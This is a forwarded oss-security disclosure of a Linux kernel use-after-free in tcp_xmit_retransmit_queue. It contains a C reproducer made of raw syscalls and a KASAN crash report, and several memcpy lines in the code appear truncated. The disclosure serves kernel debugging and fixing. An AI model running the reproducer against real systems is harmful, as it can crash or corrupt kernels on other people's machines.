Subject: Fw: Linux tcp_xmit_retransmit_queue use after free on 4.8-rc1 / master]

From: Greg KH <[email-masked]>
Date: Tue, 16 Aug 2016 12:45:51 +0200

For some reason Marco's emails can't make it to netdev, so I'm
forwarding this on.  Please cc: him on responses.

thanks,

greg k-h

----- Forwarded message from Marco Grassi <[email-masked]> -----

Date: Mon, 15 Aug 2016 09:20:17 +0800
From: Marco Grassi <[email-masked]>
To: [email-masked]
Cc: [email-masked]
Subject: [oss-security] Linux tcp_xmit_retransmit_queue use after free on
	4.8-rc1 / master

Hello, this program will cause a use after free of read 4 in
tcp_xmit_retransmit_queue or other tcp_ functions, often in another totally
unrelated process.

reproducer + KASAN report is provided, tested on master available at the
time of writing and on 4.8 rc1

Thank you

Marco (@marcograss) - https://marcograss.github.io/

-------

// to build clang derp4.c -o derp4 -static

#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include <stdio.h>

#ifndef SYS_mmap
#define SYS_mmap 9
#endif
#ifndef SYS_socket
#define SYS_socket 41
#endif
#ifndef SYS_bind
#define SYS_bind 49
#endif
#ifndef SYS_sendto
#define SYS_sendto 44
#endif
#ifndef SYS_setsockopt
#define SYS_setsockopt 54
#endif
#ifndef SYS_dup
#define SYS_dup 32
#endif
#ifndef SYS_sendmsg
#define SYS_sendmsg 46
#endif
#ifndef SYS_recvfrom
#define SYS_recvfrom 45
#endif
#ifndef SYS_write
#define SYS_write 1
#endif

long r[62];

int main(int argc, char **argv)
{
while (1) {
pid_t pid = fork();

if (pid == 0) {
r[0] = syscall(SYS_mmap, 0x20000000ul, 0x20000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
r[1] = syscall(SYS_socket, 0xaul, 0x1ul, 0x0ul, 0, 0, 0);
memcpy((void*)0x20006000,
128);
r[3] = syscall(SYS_bind, r[1], 0x20006000ul, 0x80ul, 0, 0, 0);
r[4] = syscall(SYS_mmap, 0x20020000ul, 0x1000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
memcpy((void*)0x20012f5a,
165);
memcpy((void*)0x20020000,
"\x0a\x00\xab\x12\x0d\xf5\xba\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xac\xad\xce\xa0",
28);
r[7] = syscall(SYS_sendto, r[1], 0x20012f5aul, 0xa5ul,
0x249e4e54fe149d8cul, 0x20020000ul, 0x1cul);
*(uint32_t*)0x20001fff = (uint32_t)0x2;
r[9] = syscall(SYS_setsockopt, r[1], 0x1ul, 0x8ul, 0x20001ffful, 0x4ul, 0);
r[10] = syscall(SYS_dup, r[1], 0, 0, 0, 0, 0);
*(uint32_t*)0x20018000 = (uint32_t)0x4;
r[12] = syscall(SYS_setsockopt, r[1], 0x29ul, 0xbul, 0x20018000ul, 0x4ul,
0);
*(uint64_t*)0x2000dfc8 = (uint64_t)0x2000e000;
*(uint32_t*)0x2000dfd0 = (uint32_t)0xc;
*(uint64_t*)0x2000dfd8 = (uint64_t)0x20000000;
*(uint64_t*)0x2000dfe0 = (uint64_t)0x1;
*(uint64_t*)0x2000dfe8 = (uint64_t)0x0;
*(uint64_t*)0x2000dff0 = (uint64_t)0x0;
*(uint32_t*)0x2000dff8 = (uint32_t)0x4;
*(uint16_t*)0x2000e000 = (uint16_t)0x0;
*(uint16_t*)0x2000e002 = (uint16_t)0x0;
*(uint32_t*)0x2000e004 = (uint32_t)0xffff;
*(uint32_t*)0x2000e008 = (uint32_t)0x401;
*(uint64_t*)0x20000000 = (uint64_t)0x2000ed3a;
*(uint64_t*)0x20000008 = (uint64_t)0x37;
*(uint32_t*)0x2000ed3a = (uint32_t)0x14;
*(uint16_t*)0x2000ed3e = (uint16_t)0x2;
*(uint16_t*)0x2000ed40 = (uint16_t)0x12;
*(uint32_t*)0x2000ed42 = (uint32_t)0x1f;
*(uint32_t*)0x2000ed46 = (uint32_t)0x7;
*(uint8_t*)0x2000ed4a = (uint8_t)0x6;
*(uint8_t*)0x2000ed4b = (uint8_t)0x100;
*(uint8_t*)0x2000ed4c = (uint8_t)0x3f;
*(uint32_t*)0x2000ed4d = (uint32_t)0x11;
*(uint16_t*)0x2000ed51 = (uint16_t)0x0;
*(uint16_t*)0x2000ed53 = (uint16_t)0x808;
*(uint32_t*)0x2000ed55 = (uint32_t)0x1;
*(uint32_t*)0x2000ed59 = (uint32_t)0x0;
*(uint8_t*)0x2000ed5d = (uint8_t)0x0;
*(uint32_t*)0x2000ed5e = (uint32_t)0x12;
*(uint16_t*)0x2000ed62 = (uint16_t)0x2ea;
*(uint16_t*)0x2000ed64 = (uint16_t)0x200;
*(uint32_t*)0x2000ed66 = (uint32_t)0x5;
*(uint32_t*)0x2000ed6a = (uint32_t)0xffffffffffffffff;
*(uint8_t*)0x2000ed6e = (uint8_t)0x9;
*(uint8_t*)0x2000ed6f = (uint8_t)0x1;
r[47] = syscall(SYS_sendmsg, r[10], 0x2000dfc8ul, 0x801ul, 0, 0, 0);
*(uint16_t*)0x20001003 = (uint16_t)0x1;
*(uint8_t*)0x20001005 = (uint8_t)0x0;
*(uint32_t*)0x20001007 = (uint32_t)0x9;
r[51] = syscall(SYS_recvfrom, r[10], 0x20014a91ul, 0xdeul, 0x0ul,
0x20000ffbul, 0x8ul);
memcpy((void*)0x20015285,
 x77\x7c\x26\xdc\xb6\xc1\x1b\x6c\xc8\xfe\x43\x2c\xe2\xdc\x58\x7e\x30\x38\x98\x97\xdf\xda\xae\x9d\x40\x94\xb7\x16\x91\x66\x94\x6c\x2a\x50\x39\x69\xce\xb4\x5c\xec\x2e\x60\x71\x92\xa3\x14\x1f\x08\x70\xcb\x9c\x47\x5b\xf3\xf4\xea\x7a\x34\x43\x32\x8b\x19\x57\xd2\xe7\x1c\xc5\xeb\xa5\x66\x37\x73\x80\x59\xac\x1e\xc0\x2f\xf1\x30\xf4\xd0\xc7\x78\x2b\x38\xd3\xab\x74\xfd\x4d\xdf\x5e\xc5\xa7\x89\x1b\xb7\x76\xf5\xf9\xfd\xca\xfc\xc2\x0d",
4096);
r[53] = syscall(SYS_sendto, r[10], 0x20015285ul, 0x1000ul, 0xc080ul, 0x0ul,
0x0ul);
r[54] = syscall(SYS_mmap, 0x20022000ul, 0x1000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
*(uint32_t*)0x20022fdd = (uint32_t)0x28;
*(uint32_t*)0x20022fe1 = (uint32_t)0x400;
*(uint64_t*)0x20022fe5 = (uint64_t)0x0;
*(uint64_t*)0x20022fed = (uint64_t)0x8ab;
*(uint64_t*)0x20022ff5 = (uint64_t)0xfffffffffffffffb;
*(uint16_t*)0x20022ffd = (uint16_t)0x5;
r[61] = syscall(SYS_write, r[10], 0x20022fddul, 0x28ul, 0, 0, 0);
} else if (pid > 0) {
int returnStatus;
            waitpid(pid, &returnStatus, 0);
            printf("collected child\n");
} else {
printf("fork failed\n");
exit(1);
}
}
return 0;
}

// KASAN report on v4.8-rc1, equivalent on master

/*
[   21.446876] BUG: KASAN: use-after-free in
tcp_xmit_retransmit_queue+0xc75/0xdb0 at addr ffff88007a06d428
[   21.447953] Read of size 4 by task rsyslogd/1612
[   21.448465] CPU: 0 PID: 1612 Comm: rsyslogd Tainted: G    B
4.8.0-rc1 #1
[   21.449263] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   21.450270]  0000000000000000 0000000015e55fbd ffff88007dc07268
ffffffff81bef151
[   21.451135]  ffff88011cfb0d80 ffff88007a06d400 ffff88007a06d5a8
ffff88007a06d400
[   21.452002]  ffff88007dc07290 ffffffff815d0351 ffff88007dc07328
ffff88007a06d400
[   21.452873] Call Trace:
[   21.453142]  <IRQ>  [<ffffffff81bef151>] dump_stack+0x83/0xb2
[   21.453835]  [<ffffffff815d0351>] kasan_object_err+0x21/0x70
[   21.454450]  [<ffffffff815d05f4>] kasan_report_error+0x204/0x500
[   21.455135]  [<ffffffff815d0a31>] __asan_report_load4_noabort+0x61/0x70
[   21.455899]  [<ffffffff82a90f55>] ? tcp_xmit_retransmit_queue+0xc75/0xdb0
[   21.456624]  [<ffffffff82a90f55>] tcp_xmit_retransmit_queue+0xc75/0xdb0
[   21.457329]  [<ffffffff82a53aba>] tcp_xmit_recovery.part.54+0x2a/0x120
[   21.458028]  [<ffffffff82a69c96>] tcp_ack+0x2716/0x4ed0
[   21.458590]  [<ffffffff815cf6e6>] ? save_stack+0x46/0xd0
[   21.459189]  [<ffffffff815cf95d>] ? kasan_kmalloc+0xad/0xe0
[   21.459804]  [<ffffffff82a67580>] ? tcp_fastretrans_alert+0x2dc0/0x2dc0
[   21.460540]  [<ffffffff82a5a63f>] ? tcp_parse_options+0x18f/0xb20
[   21.461237]  [<ffffffff811ea161>] ? ttwu_do_wakeup+0x21/0x2d0
[   21.461865]  [<ffffffff82a6e8b1>] ? tcp_validate_incoming+0x821/0x1210
[   21.462581]  [<ffffffff81c0e93e>] ? put_dec+0x2e/0xc0
[   21.463167]  [<ffffffff82a74201>] tcp_rcv_established+0x5b1/0x20c0
[   21.463884]  [<ffffffff815cfaa5>] ? memcpy+0x45/0x50
[   21.464414]  [<ffffffff828ec80a>] ? __copy_skb_header+0x19a/0x1f0
[   21.465057]  [<ffffffff82a73c50>] ? tcp_data_queue+0x4240/0x4240
[   21.465719]  [<ffffffff828eca97>] ? __skb_clone+0x237/0x7a0
[   21.466326]  [<ffffffff815cbed8>] ? kmem_cache_alloc+0xb8/0x1b0
[   21.466954]  [<ffffffff82baa6b7>] ? rt6_check_expired+0xa7/0x120
[   21.467591]  [<ffffffff82bae7f2>] ? ip6_dst_check+0x262/0x410
[   21.468231]  [<ffffffff82c0ff52>] tcp_v6_do_rcv+0x642/0x13c0
[   21.468836]  [<ffffffff82c148d2>] tcp_v6_rcv+0x1a32/0x2550
[   21.469462]  [<ffffffff81233abb>] ? trigger_load_balance+0x3fb/0x8b0
[   21.470179]  [<ffffffff82beaa55>] ? raw6_local_deliver+0x555/0x6f0
[   21.470953]  [<ffffffff82b82dec>] ip6_input_finish+0x2ac/0xd50
[   21.471600]  [<ffffffff82b8396a>] ip6_input+0xda/0x1f0
[   21.472149]  [<ffffffff81117670>] ? kvm_guest_apic_eoi_write+0x70/0x90
[   21.472870]  [<ffffffff82b83890>] ? ip6_input_finish+0xd50/0xd50
[   21.473521]  [<ffffffff8128a722>] ? handle_fasteoi_irq+0x362/0x6a0
[   21.474210]  [<ffffffff810f56c0>] ? ioapic_ir_ack_level+0xd0/0xd0
[   21.474858]  [<ffffffff82b8291e>] ip6_rcv_finish+0x11e/0x340
[   21.475487]  [<ffffffff82b84806>] ipv6_rcv+0xd86/0x1750
[   21.476043]  [<ffffffff82b83a80>] ? ip6_input+0x1f0/0x1f0
[   21.476615]  [<ffffffff82cadeb5>] ? _raw_spin_unlock_irqrestore+0x15/0x20
[   21.477332]  [<ffffffff815d03d7>] ? kasan_end_report+0x37/0x50
[   21.478956]  [<ffffffff815d0825>] ? kasan_report_error+0x435/0x500
[   21.479618]  [<ffffffff82b83a80>] ? ip6_input+0x1f0/0x1f0
[   21.480250]  [<ffffffff8293926f>] __netif_receive_skb_core+0x15df/0x26c0
[   21.481017]  [<ffffffff812092c0>] ? update_curr+0x150/0x4e0
[   21.481700]  [<ffffffff82937c90>] ? netdev_info+0x120/0x120
[   21.482339]  [<ffffffff812bf12b>] ? hrtimer_active+0x1db/0x280
[   21.482969]  [<ffffffff81206b3d>] ? cpu_load_update+0x1bd/0x350
[   21.483619]  [<ffffffff81227f2c>] ? task_tick_fair+0x119c/0x2420
[   21.484295]  [<ffffffff810fddf1>] ?
__x2apic_send_IPI_dest.constprop.4+0x31/0x40
[   21.485101]  [<ffffffff810fe072>] ? x2apic_send_IPI+0x72/0xa0
[   21.485739]  [<ffffffff8293a37f>] __netif_receive_skb+0x2f/0x170
[   21.486383]  [<ffffffff8293e1a7>] process_backlog+0x197/0x580
[   21.487021]  [<ffffffff8293bc9a>] net_rx_action+0x6ca/0xbb0
[   21.487615]  [<ffffffff8293b5d0>] ? sk_busy_loop+0x7b0/0x7b0
[   21.488258]  [<ffffffff8111850e>] ? kvm_clock_get_cycles+0x1e/0x20
[   21.488909]  [<ffffffff812d3e90>] ? ktime_get+0xb0/0x110
[   21.489471]  [<ffffffff810fdc1b>] ? native_apic_msr_write+0x2b/0x30
[   21.490147]  [<ffffffff812e3ca6>] ? clockevents_program_event+0x246/0x340
[   21.490868]  [<ffffffff82cb121e>] __do_softirq+0x1ce/0x57d
[   21.491470]  [<ffffffff811769d7>] irq_exit+0x117/0x140
[   21.492035]  [<ffffffff82cb0dd0>] smp_apic_timer_interrupt+0x80/0xa0
[   21.492712]  [<ffffffff82caf062>] apic_timer_interrupt+0x82/0x90
[   21.493378]  <EOI> Object at ffff88007a06d400, in cache
skbuff_fclone_cache size: 424
[   21.494277] Allocated:
[   21.494538] PID = 1711
[   21.494801]  [<ffffffff810b308b>] save_stack_trace+0x2b/0x50
[   21.495416]  [<ffffffff815cf6e6>] save_stack+0x46/0xd0
[   21.495970]  [<ffffffff815cf95d>] kasan_kmalloc+0xad/0xe0
[   21.496572]  [<ffffffff815cfe92>] kasan_slab_alloc+0x12/0x20
[   21.497185]  [<ffffffff815cc51e>] kmem_cache_alloc_node+0xfe/0x1d0
[   21.497853]  [<ffffffff828f21f2>] __alloc_skb+0xd2/0x5d0
[   21.498475]  [<ffffffff82a480fd>] sk_stream_alloc_skb+0xbd/0x790
[   21.499129]  [<ffffffff82a4b464>] tcp_sendmsg+0x13f4/0x2d10
[   21.499754]  [<ffffffff82afb2ac>] inet_sendmsg+0x24c/0x350
[   21.500371]  [<ffffffff828d58ef>] sock_sendmsg+0xcf/0x110
[   21.500988]  [<ffffffff828d5b52>] sock_write_iter+0x222/0x3c0
[   21.501625]  [<ffffffff8162d10b>] __vfs_write+0x3cb/0x640
[   21.502249]  [<ffffffff8162e315>] vfs_write+0x175/0x4a0
[   21.502838]  [<ffffffff81631b78>] SyS_write+0xd8/0x1b0
[   21.503429]  [<ffffffff82cae476>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[   21.504144] Freed:
[   21.504368] PID = 1711
[   21.504628]  [<ffffffff810b308b>] save_stack_trace+0x2b/0x50
[   21.505290]  [<ffffffff815cf6e6>] save_stack+0x46/0xd0
[   21.505879]  [<ffffffff815cff13>] kasan_slab_free+0x73/0xc0
[   21.506501]  [<ffffffff815cb70c>] kmem_cache_free+0x7c/0x210
[   21.507128]  [<ffffffff828eba3b>] kfree_skbmem+0x7b/0xf0
[   21.507752]  [<ffffffff828f3e22>] __kfree_skb+0x22/0x30
[   21.508339]  [<ffffffff82a4b8ad>] tcp_sendmsg+0x183d/0x2d10
[   21.508962]  [<ffffffff82afb2ac>] inet_sendmsg+0x24c/0x350
[   21.509574]  [<ffffffff828d58ef>] sock_sendmsg+0xcf/0x110
[   21.510194]  [<ffffffff828d5b52>] sock_write_iter+0x222/0x3c0
[   21.510818]  [<ffffffff8162d10b>] __vfs_write+0x3cb/0x640
[   21.511408]  [<ffffffff8162e315>] vfs_write+0x175/0x4a0
[   21.512003]  [<ffffffff81631b78>] SyS_write+0xd8/0x1b0
[   21.512562]  [<ffffffff82cae476>] entry_SYSCALL_64_fastpath+0x1e/0xa8
[   21.513258] Memory state around the buggy address:
[   21.513770]  ffff88007a06d300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00
[   21.514546]  ffff88007a06d380: 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
fc fc
[   21.515310] >ffff88007a06d400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   21.516114]                                   ^
[   21.516611]  ffff88007a06d480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   21.517400]  ffff88007a06d500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   21.518203]
==================================================================
*/

----- End forwarded message -----